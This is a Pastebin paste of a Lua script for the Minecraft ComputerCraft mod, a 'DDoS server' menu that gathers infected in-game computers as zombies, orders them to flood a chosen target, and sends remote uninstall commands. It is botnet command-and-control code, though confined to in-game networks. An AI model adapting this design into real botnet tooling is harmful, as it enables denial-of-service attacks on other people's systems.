Advertisement
PaymentOption

Dos Server

May 13th, 2012
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.02 KB | None | 0 0
  1. w,h = term.getSize()
  2.  
  3. -- PaymentOption's simple DDoS server --
  4. VERSION = "Alpha 1.0"
  5. ----------------------------------------
  6.  
  7. rednet.open("top")
  8. rednet.open("right")
  9. rednet.open("left")
  10. rednet.open("back")
  11. rednet.open("bottom")
  12.  
  13. tVictims = {}
  14. selection = 1
  15.  
  16. -- Menues and other screens --
  17. function printMenu()
  18.     if selection == 1 then
  19.         term.setCursorPos(1, 2)
  20.         term.write("[ Attack ]")
  21.     else
  22.         term.setCursorPos(1, 2)
  23.         term.write("  Attack  ")
  24.     end
  25.    
  26.     if selection == 2 then
  27.         term.setCursorPos(1, 3)
  28.         term.write("[ Send Uninstall ]")
  29.     else
  30.         term.setCursorPos(1, 3)
  31.         term.write("  Send Uninstall  ")
  32.     end
  33.    
  34.     if selection == 3 then
  35.         term.setCursorPos(1, 4)
  36.         term.write("[ Zombie List ]")
  37.     else
  38.         term.setCursorPos(1, 4)
  39.         term.write("  Zombie List  ")
  40.     end
  41.    
  42.     if selection == 4 then
  43.         term.setCursorPos(1, 5)
  44.         term.write("[ Mass Uninstall ]")
  45.     else
  46.         term.setCursorPos(1, 5)
  47.         term.write("  Mass Uninstall  ")
  48.     end
  49.    
  50.     if selection == 5 then
  51.         term.setCursorPos(1,6)
  52.         term.write("[ Refresh Zombies ]")
  53.     else
  54.         term.setCursorPos(1,6)
  55.         term.write("  Refresh Zombies  ")
  56.     end
  57.    
  58.     if selection == 6 then
  59.         term.setCursorPos(1, 7)
  60.         term.write("[ Quit ]")
  61.     else
  62.         term.setCursorPos(1, 7)
  63.         term.write("  Quit  ")
  64.     end
  65. end
  66.  
  67. function printLogo()
  68.     term.setCursorPos(1, 8)
  69.     print("                 ,   ,")
  70.     print("                /(   )\\")
  71.     print("                \\ \\_/ /   , /\\ ,")
  72.     print("                /_   _\\  /| || |\\")
  73.     print("               | \\> </ | |\\_||_/|")
  74.     print("               (_  ^  _)  \\____/")
  75.     print("             /.\\|IIIII|/.\\ _\\/_")
  76.     print("             \\  \\_____/  /  ()")
  77.     print("             /\\   )=(   /\\  ()")
  78.     print("            /  .-.\\=/.-'  \\ ()")
  79. end
  80. ------------------------------
  81. -- Helper Functions --
  82. function cPrint(height, string)
  83.     local xPos = w/2 - string.len(string)/2
  84.     term.setCursorPos(xPos, height)
  85.     term.write(string)
  86. end
  87.  
  88. function rPrint(height, string)
  89.     local xPos = w - string.len(string)
  90.     term.setCursorPos(xPos, height)
  91.     term.write(string)
  92. end
  93.  
  94. function clear() term.clear(); term.setCursorPos(1,1) end
  95. ------------------------
  96.  
  97. -- Networking --
  98. function addVictim(sender) tVictims[#tVictims+1] = sender end
  99.  
  100. function sendAttack(receiver)
  101.     for i = 1, #tVictims do
  102.         rednet.send(tonumber(tVictims[i]), "ddos")
  103.         rednet.send(tonumber(tVictims[i]), tostring(receiver))
  104.     end
  105. end
  106.  
  107. function stopAttack()
  108.     for i = 1, #tVictims do
  109.         rednet.send(tonumber(tVictims[i]), "stop")
  110.     end
  111. end
  112.  
  113. function getZombies()
  114.     cPrint(6, "Looking for new connections for 10 seconds...")
  115.     local bFound = true;
  116.    
  117.     while bFound == true do
  118.         sender, message = rednet.receive(10)
  119.        
  120.         if message == "pingingin" then
  121.             rednet.send(sender, "connected")
  122.             for i=1, #tVictims+1 do
  123.                 if tVictims[i] == sender then return end
  124.             end
  125.         elseif message == nil then cPrint(8, "No new connections found!"); sleep(0.8); bFound = false; return end
  126.        
  127.         addVictim(sender); cPrint(8, "New connection! ID: "..sender); bFound = true; sleep(0.8)
  128.         term.setCursorPos(1, 8); term.clearLine()
  129.     end
  130. end
  131.  
  132. function sendUninstall(receiver) rednet.send(tonumber(receiver), "uninstall") end
  133. ----------------
  134.  
  135. -- Main Loop --
  136. while true do
  137.     clear()
  138.     printMenu()
  139.     rPrint(18, "DDoS Server by PaymentOption")
  140.     printLogo()
  141.     local receiver = 0
  142.     local uninstall = 0
  143.    
  144.     event, key = os.pullEvent("key")
  145.     if key == 208 and selection < 6 then selection = selection+1
  146.     elseif key == 200 and selection > 1 then selection = selection-1
  147.    
  148.     elseif key == 28 and selection == 1 then
  149.         if #tVictims == 0 then rPrint(3, "No zombies available to attack!"); sleep(2)
  150.         else
  151.             clear()
  152.             cPrint(6, "Recepient of attack: ")
  153.             receiver = read()
  154.            
  155.             sendAttack(receiver)
  156.             cPrint(8, "[ Stop Attack ]")
  157.             event, key = os.pullEvent("key")
  158.            
  159.             while key ~= 28 do
  160.                 event, key = os.pullEvent("key")
  161.             end
  162.             stopAttack()
  163.         end
  164.     elseif key == 28 and selection == 2 then
  165.         if #tVictims == 0 then rPrint(4, "No zombies to uninstall!"); sleep(2)
  166.         else
  167.             clear()
  168.             write("Victims: ")
  169.             for i=1, #tVictims do
  170.                 write(" "..tostring(tVictims[i])..",")
  171.             end
  172.            
  173.             cPrint(6, "Victim to uninstall: ")
  174.             uninstall = read()
  175.             sendUninstall(uninstall)
  176.             for i =1, #tVictims do
  177.                 if tonumber(uninstall) == tVictims[i] then
  178.                     table.remove(tVictims, i)
  179.                     break
  180.                 end
  181.             end
  182.         end
  183.     elseif key == 28 and selection == 3 then
  184.         clear()
  185.         print("Total Zombies (Infected Computers): "..#tVictims)
  186.         print("\nAll current connections:")
  187.         for i = 1, #tVictims do
  188.             print(tostring(tVictims[i]))
  189.         end
  190.        
  191.         rPrint(18, "[ Exit ]")
  192.         event, key = os.pullEvent("key")
  193.        
  194.         while key ~= 28 do
  195.             event, key = os.pullEvent("key")
  196.         end
  197.     elseif key == 28 and selection == 4 then
  198.         clear()
  199.         for i=1, #tVictims do sendUninstall(tVictims[i]) end
  200.         tVictims = {}
  201.         cPrint(6, "All Zombies Uninstalled! :("); sleep(1)
  202.     elseif key == 28 and selection == 5 then
  203.         clear()
  204.         getZombies()
  205.     elseif key == 28 and selection == 6 then
  206.         clear()
  207.         break
  208.     end
  209. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement